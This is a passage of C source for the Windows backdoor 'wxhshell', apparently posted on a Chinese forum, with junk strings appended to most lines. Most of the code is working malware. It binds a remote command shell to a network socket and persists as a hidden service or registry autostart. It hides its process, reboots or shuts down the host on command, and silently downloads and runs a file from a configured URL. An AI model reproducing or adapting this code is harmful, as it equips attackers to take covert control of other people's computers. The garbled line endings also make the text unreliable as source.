  } _QneaPm%  
  else { q}C;~nMD  
!$p E=~1C  
    switch(cmd[0]) { %zN~%mJG  
  ^fP5@T*f  
  // 帮助 ir~4\G!  
  case '?': { |(=b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $XcuU sG  
    break; G_ #MXFWt  
  } a&Me#H{  
  // 安装 }[y_Fr0  
  case 'i': { l)f 2T@bHl  
    if(Install()) bZ}T;!U?I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jxZ_-1  
    else }Vfc;2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +&.39q !  
    break; 2L S91  
    } G[]h1f!  
  // 卸载 v)~!HCG  
  case 'r': { 2BO"mc<#$  
    if(Uninstall()) 7 b{y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1aezlDc*  
    else \CBL[X5tr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S<g~VK!Tt  
    break; t\O#5mo  
    } SmV}Wf  
  // 显示 wxhshell 所在路径 *t`=1Ioj  
  case 'p': { k/i&e~! \  
    char svExeFile[MAX_PATH]; xu@+b~C\  
    strcpy(svExeFile,"\n\r"); vBV_aB1{  
      strcat(svExeFile,ExeFile); MC1&X'  
        send(wsh,svExeFile,strlen(svExeFile),0); @DKph!c r  
    break; x??H%'rP  
    } ~BgNM O;|  
  // 重启 PJAM_K;  
  case 'b': { K/$5SN1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {Hz;*1?$k  
    if(Boot(REBOOT)) T3t w.yh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >:0^v'[  
    else { =WK's8FB;8  
    closesocket(wsh); "Mh}n-oju  
    ExitThread(0); vofBS   
    } :H/Rhx=  
    break; NW` Mc&  
    } REPI >-|  
  // 关机 =<Ss&p>  
  case 'd': { Y ^5RM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q& esI  
    if(Boot(SHUTDOWN)) a``Q}.ST  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VP^{-mDph  
    else { o97*3W]  
    closesocket(wsh); &H%z1Lp  
    ExitThread(0); 4+Y9":<  
    } SKo*8r   
    break;  5s<.qDc  
    } B %  
  // 获取shell AIw~@*T  
  case 's': { |5*:ThC[  
    CmdShell(wsh); <W/YC 2b  
    closesocket(wsh); #(-?i\i  
    ExitThread(0); oTveY  
    break; ;oOv~ YB7H  
  } EV_u8?va  
  // 退出 /a\]Dwj5  
  case 'x': { k;HI-v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Is!+ `[ma  
    CloseIt(wsh); 7TA&u'  
    break; [pSQ8zdF"  
    } w +HKvOs5c  
  // 离开 Ll`nO;h  
  case 'q': { T!|-dYYI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P%ZU+ET  
    closesocket(wsh); W7w*VD|  
    WSACleanup(); _ 3{8Zg  
    exit(1); r|3<UR%  
    break; 3u'@anre  
        } x";4)u=  
  } BLb'7`t  
  } Ju_(,M-Vgr  
b7HT<$Wg  
  // 提示信息 UZo[]$"Q`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8< z   
} \j0016;  
  } nr%P11U\c  
*a` _,Q{x  
  return; FB O_B  
} wdRk+  
>viLvDng  
// shell模块句柄 |^O3~!JP(>  
int CmdShell(SOCKET sock) e*39/B0S  
{ >| hqt8lY  
STARTUPINFO si; Agwl2AM5k  
ZeroMemory(&si,sizeof(si)); Pk^V6-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C+0BV~7J<<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c  
PROCESS_INFORMATION ProcessInfo; >t4<2|!(M  
char cmdline[]="cmd"; *-@@t+3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pk:b:(4  
  return 0; 9)'wgI#  
} Q S<)*  
V# JuNJ  
// 自身启动模式 2Iq*7n:v0  
int StartFromService(void) /?S,u,R  
{ "gt*k#  
typedef struct c/,B?  
{ u4Z Accj  
  DWORD ExitStatus; !lI1jb"  
  DWORD PebBaseAddress; <\L=F8[  
  DWORD AffinityMask; L F!S`|FF  
  DWORD BasePriority; MYUL y2)  
  ULONG UniqueProcessId; muKjeg'b  
  ULONG InheritedFromUniqueProcessId; (~^KXJ{->  
}   PROCESS_BASIC_INFORMATION; 7+m.:~H3}  
FeJKXYbk<  
PROCNTQSIP NtQueryInformationProcess; ^;;gPhhWV  
Fb^,%K:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]u%Y8kBe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wfM|3GS+.  
dEfP272M  
  HANDLE             hProcess; [UB]vPXm$  
  PROCESS_BASIC_INFORMATION pbi; M"8?XD%  
/ 16 r_l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cFoeyI#v  
  if(NULL == hInst ) return 0; bJL,pe+u  
/%P,y+<}iG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,772$7x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %D[6;PT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w=ZK=@  
5- "aK~@+  
  if (!NtQueryInformationProcess) return 0; Bacmrf  
n;r W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HG)h,&nc-  
  if(!hProcess) return 0; 8b $e)  
1Pd2%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }nWW`:t kx  
?DC;Hk<  
  CloseHandle(hProcess); cN| gaL  
=2d h}8Mz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :BUr8%l  
if(hProcess==NULL) return 0; ExSy/^4f  
JjHQn=3AJ  
HMODULE hMod; ?YnB:z*eV  
char procName[255]; Edl .R}&1  
unsigned long cbNeeded; zC!Pb{IaH  
N)X51;+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,>3|\4/Q  
=Ka :i>  
  CloseHandle(hProcess); i$z*~SuM#  
O_&Km[  
if(strstr(procName,"services")) return 1; // 以服务启动 Yu|L6#[E  
Y NGS"3F  
  return 0; // 注册表启动 D=~3N  
} S{JBV@@tC  
-nk0Q_7N  
// 主模块 Og"\@n  
int StartWxhshell(LPSTR lpCmdLine) 3Oe\l[?$;  
{ @BqSu|'Du,  
  SOCKET wsl; u=sZFr@m[  
BOOL val=TRUE; 6"La`}B(T8  
  int port=0; UvVq#<-  
  struct sockaddr_in door; f/g-b]0  
Cx ;n#dn*  
  if(wscfg.ws_autoins) Install(); [K`d?&  
LS4E.Xdn  
port=atoi(lpCmdLine); .Yxf0y?uv  
$e,'<Jl  
if(port<=0) port=wscfg.ws_port; $%5!CD1)  
DZV U!J  
  WSADATA data; # |,c3$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NV9H"fI  
 ),f d,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <O]B'Wc [  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =kn-F T  
  door.sin_family = AF_INET; \>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q#.+P1"U  
  door.sin_port = htons(port); P6;Cohfh  
p}h9>R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {_]<mwd  
closesocket(wsl); YMn_9s7<  
return 1; ;r3|EA35  
} \_3#%%z  
A]OVmw  
  if(listen(wsl,2) == INVALID_SOCKET) { B0:/7Ld$Ml  
closesocket(wsl); Ml9  
return 1; J.n-4J#@  
} *x&y24  
  Wxhshell(wsl); iFaC[(1@a  
  WSACleanup(); z229:L6"  
K?acRi  
return 0; S$ 91L  
Z;J{&OJ3qM  
} S$i3/t  
,98`tB0  
// 以NT服务方式启动 vaj-|&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nh%Q";  
{ t}-rN5GO  
DWORD   status = 0; R?+:Js/  
  DWORD   specificError = 0xfffffff; H?j!f$sw  
r#/Bz5Jb*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C07U.nzh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ftbOvG/ I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zNJ-JIo%  
  serviceStatus.dwWin32ExitCode     = 0; rqYx\i?  
  serviceStatus.dwServiceSpecificExitCode = 0; !!UQ,yU  
  serviceStatus.dwCheckPoint       = 0; x|<89o L  
  serviceStatus.dwWaitHint       = 0; I07_o"3>qr  
)` 90*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ss#UX_DT_  
  if (hServiceStatusHandle==0) return; IT\ x0b cv  
O_y?53X  
status = GetLastError(); f`8mES'gc8  
  if (status!=NO_ERROR) &p:GB_  
{ N!^5<2z@eT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kS$m$ D  
    serviceStatus.dwCheckPoint       = 0; iU a `<  
    serviceStatus.dwWaitHint       = 0; Ems0"e  
    serviceStatus.dwWin32ExitCode     = status; 2~2j?\AEd.  
    serviceStatus.dwServiceSpecificExitCode = specificError; y,=TB#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *p7_rY  
    return; \x+"1  
  } ajALca4  
{AMoE +U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M]M(E) *5  
  serviceStatus.dwCheckPoint       = 0; wT-@v,$  
  serviceStatus.dwWaitHint       = 0; @2)ImgK[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^ ]CQd   
} U Zc%XZ`"V  
[49Ae2W`  
// 处理NT服务事件,比如:启动、停止 .3,6Oo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \P7y&`|  
{ vP{;'R  
switch(fdwControl) P0XVR_TJf  
{ bdkxCt  
case SERVICE_CONTROL_STOP: 1PjqXgN5p  
  serviceStatus.dwWin32ExitCode = 0; Blnc y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uQtwh08i  
  serviceStatus.dwCheckPoint   = 0; mY,t]#^m7  
  serviceStatus.dwWaitHint     = 0; d3K-|  
  { Q!"W)tD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,7|Wf %X  
  } I 6Mr[#*  
  return; ]<?7Cp P  
case SERVICE_CONTROL_PAUSE: mL[Y{t#N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; * IBCThj  
  break; e&J_uG  
case SERVICE_CONTROL_CONTINUE: (k&r^V/=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YN 31Lo  
  break; It3.  
case SERVICE_CONTROL_INTERROGATE: mY !LGN  
  break; <<.%Gk  
}; 7__?1n~{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >@c~M  
} _4#&!b6  
gtV*`g  
// 标准应用程序主函数 3&z.m/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rE&+fSBD  
{ >*cg K}!@  
JW-!m8  
// 获取操作系统版本 5D%gDw+"  
OsIsNt=GetOsVer(); A%c)=(,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qmM%MPv  
wx%TQ!  
  // 从命令行安装 -C<Ni  
  if(strpbrk(lpCmdLine,"iI")) Install(); W^AY:#eX~Q  
\w+a Q?e_  
  // 下载执行文件 z^=e3~-J  
if(wscfg.ws_downexe) { ('VHL!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ' 5%`[&  
  WinExec(wscfg.ws_filenam,SW_HIDE); A/#Xr  
} ccu13Kr>E  
-!b@\=  
if(!OsIsNt) { @CU~3Md*  
// 如果时win9x,隐藏进程并且设置为注册表启动 #cD20t  
HideProc(); gaXKP1m^  
StartWxhshell(lpCmdLine); ;_hL  
} O F CA~sR  
else v5N2$Sqp*  
  if(StartFromService()) {-?8r>  
  // 以服务方式启动 &\/b(|>  
  StartServiceCtrlDispatcher(DispatchTable); 8x9$6HO  
else {IpIQ-@l  
  // 普通方式启动 e=%6\&q  
  StartWxhshell(lpCmdLine); `[zd  
]~A<Q{  
return 0; ZT'Sw%U:  
}
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只看该作者 1 发表于: 2006-10-10
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